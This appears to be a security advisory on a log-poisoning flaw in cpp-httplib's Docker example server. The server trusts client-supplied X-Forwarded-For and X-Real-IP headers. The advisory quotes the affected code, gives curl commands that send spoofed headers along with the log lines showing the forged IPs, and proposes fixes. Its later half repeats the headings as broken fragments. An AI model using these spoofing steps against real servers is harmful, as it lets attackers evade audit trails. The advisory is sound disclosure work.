Vulnerability Details
Description
Vulnerability allows attacker-controlled HTTP headers to influence server-visible metadata, logging, and authorization decisions. An attacker can supply X-Forwarded-For or X-Real-IP headers which get accepted unconditionally by get_client_ip() in docker/main.cc, causing access and error logs (nginx_access_logger / nginx_error_logger) to record spoofed client IPs (log poisoning / audit evasion).
Worst Case Impact
An unauthenticated remote attacker can cause persistent corruption of access/error logs by poisoning recorded client IPs via X-Forwarded-For/X-Real-IP, resulting in loss of trustworthy audit trails (integrity and non-repudiation broken).
Vulnerability Class Information
Trusting client-controlled HTTP headers as authoritative internal metadata or client address information is insecure. HTTP headers are trivially forgeable by remote clients and the header namespace can collide with server-inserted metadata. Without validation of forwarded headers, a trusted reverse-proxy boundary, removal of conflicting client-supplied headers, or a distinct namespace/api for internal metadata, attackers can spoof IP addresses or poison logs.
Vulnerability Flow Analysis
Step 1
- Affected File:
cpp-httplib/httplib.h
- Code:
inline bool read_headers(Stream &strm, Headers &headers) {
...
if (!parse_header(line_reader.ptr(), end,
[&](const std::string &key, const std::string &val) {
headers.emplace(key, val);
})) {
return false;
}
...
}
Step 2
Step 3
- Affected File:
cpp-httplib/httplib.h
- Code:
inline std::string Request::get_header_value(const std::string &key,
const char \*def, size_t id) const {
return detail::get_header_value(headers, key, def, id);
}
inline size_t get_header_value_u64(const Headers &headers,
const std::string &key, size_t def,
size_t id, bool &is_invalid_value) {
auto rng = headers.equal_range(key);
auto it = rng.first; // first entry for key is returned for id == 0
std::advance(it, static_cast<ssize_t>(id));
...
}
Example in Docker
Step 1
- Affected File:
cpp-httplib/docker/main.cc
- Code:
std::string get_client_ip(const Request &req) {
auto forwarded_for = req.get_header_value("X-Forwarded-For");
if (!forwarded_for.empty()) {
auto comma_pos = forwarded_for.find(',');
if (comma_pos != std::string::npos) {
return forwarded_for.substr(0, comma_pos);
}
return forwarded_for;
}
auto real_ip = req.get_header_value("X-Real-IP");
if (!real_ip.empty()) { return real_ip; }
return "127.0.0.1";
}
Step 2
- Affected File:
cpp-httplib/docker/main.cc
- Code:
void nginx_access_logger(const Request &req, const Response &res) {
auto remote_addr = get_client_ip(req);
...
std::cout << std::format("{} - {} [{}] \"{}\" {} {} \"{}\" \"{}\"",
remote_addr, remote_user, time_local, request,
status, body_bytes_sent, http_referer,
http_user_agent)
<< std::endl;
}
```
Step 3
- Affected File:
cpp-httplib/docker/main.cc
- Code:
void nginx_error_logger(const Error &err, const Request *req) {
auto time_local = get_error_time_format();
std::string level = "error";
if (req) {
auto client_ip = get_client_ip(*req);
auto request = std::format("{} {} {}", req->method, req->path, req->version);
auto host = req->get_header_value("Host");
if (host.empty()) host = "-";
std::cerr << std::format("{} [{}] {}, client: {}, request: \"{}\", host: \"{}\"",
time_local, level, to_string(err), client_ip, request, host)
<< std::endl;
} else {
std::cerr << std::format("{} [{}] {}", time_local, level, to_string(err))
<< std::endl;
}}
Exploitation Guide
Prerequisites
- The Docker server described in Docker/main.cc
- The server accepts arbitrary client-supplied HTTP headers (default behavior of cpp-httplib)
- Network access to send crafted HTTP requests with custom headers
Part A: Log Poisoning via X-Forwarded-For/X-Real-IP Headers
Step 1
- Description: Confirm server is reachable
- Command:
curl -i http://127.0.0.1/
HTTP/1.1 200 OK
Content-Length: 599
Content-Type: text/html
Server: cpp-httplib-server/0.26.0
... (Welcome page HTML) ...
Step 2
- Description: Send request with spoofed X-Forwarded-For and verify logs reflect the spoofed IP
- Command:
curl -i -H "X-Forwarded-For: 203.0.113.66" http://127.0.0.1/ && sleep 1 && grep -n "203.0.113.66" -n /projects/cpp-httplib/cpp-httplib-server.log || true
HTTP/1.1 200 OK
Content-Length: 599
Content-Type: text/html
Server: cpp-httplib-server/0.26.0
...
33:203.0.113.66 - - [10/Sep/2025:22:12:06 +0000] "GET / HTTP/1.1" 200 0 "-" "curl/8.14.1"
Step 3
- Description: Send request with X-Real-IP header and verify logs reflect the spoofed IP
- Command:
curl -i -H "X-Real-IP: 198.51.100.77" http://127.0.0.1/ && sleep 1 && grep -n "198.51.100.77" /projects/cpp-httplib/cpp-httplib-server.log || true
HTTP/1.1 200 OK
Content-Length: 599
Content-Type: text/html
Server: cpp-httplib-server/0.26.0
...
34:198.51.100.77 - - [10/Sep/2025:22:12:11 +0000] "GET / HTTP/1.1" 200 0 "-" "curl/8.14.1"
Remediation Approach
-
Sanitize Client Headers:
- Block or strip client-supplied headers with reserved internal names before processing
- Implement header name validation to reject REMOTE**/LOCAL** headers from clients
-
Fix Header Processing Order:
- If headers must be used for metadata, clear any existing client-supplied duplicates before server insertion
- Modify get_header_value() to prioritize server-inserted values for internal header names
- Consider separate namespaces for client vs. server headers
-
Validate Forwarded Headers:
- Only trust X-Forwarded-For/X-Real-IP from authenticated reverse proxies
- Validate IP address format and ranges for forwarded headers
- Implement trusted proxy IP whitelist before accepting forwarded headers
Verification Steps (after fix):
- Verify client cannot override internal metadata through HTTP headers
- Confirm IP-based access controls use authentic connection information
Vulnerability Details
Description
Vulnerability allows attacker-controlled HTTP headers to influence server-visible metadata, logging, and authorization decisions. An attacker can supply X-Forwarded-For or X-Real-IP headers which get accepted unconditionally by get_client_ip() in docker/main.cc, causing access and error logs (nginx_access_logger / nginx_error_logger) to record spoofed client IPs (log poisoning / audit evasion).
Worst Case Impact
An unauthenticated remote attacker can cause persistent corruption of access/error logs by poisoning recorded client IPs via X-Forwarded-For/X-Real-IP, resulting in loss of trustworthy audit trails (integrity and non-repudiation broken).
Vulnerability Class Information
Trusting client-controlled HTTP headers as authoritative internal metadata or client address information is insecure. HTTP headers are trivially forgeable by remote clients and the header namespace can collide with server-inserted metadata. Without validation of forwarded headers, a trusted reverse-proxy boundary, removal of conflicting client-supplied headers, or a distinct namespace/api for internal metadata, attackers can spoof IP addresses or poison logs.
Vulnerability Flow Analysis
Step 1
cpp-httplib/httplib.hStep 2
Affected File:
cpp-httplib/httplib.hCode:
Step 3
cpp-httplib/httplib.hExample in Docker
Step 1
cpp-httplib/docker/main.ccStep 2
cpp-httplib/docker/main.ccStep 3
cpp-httplib/docker/main.ccExploitation Guide
Prerequisites
Part A: Log Poisoning via X-Forwarded-For/X-Real-IP Headers
Step 1
Step 2
Step 3
Remediation Approach
Sanitize Client Headers:
Fix Header Processing Order:
Validate Forwarded Headers:
Verification Steps (after fix):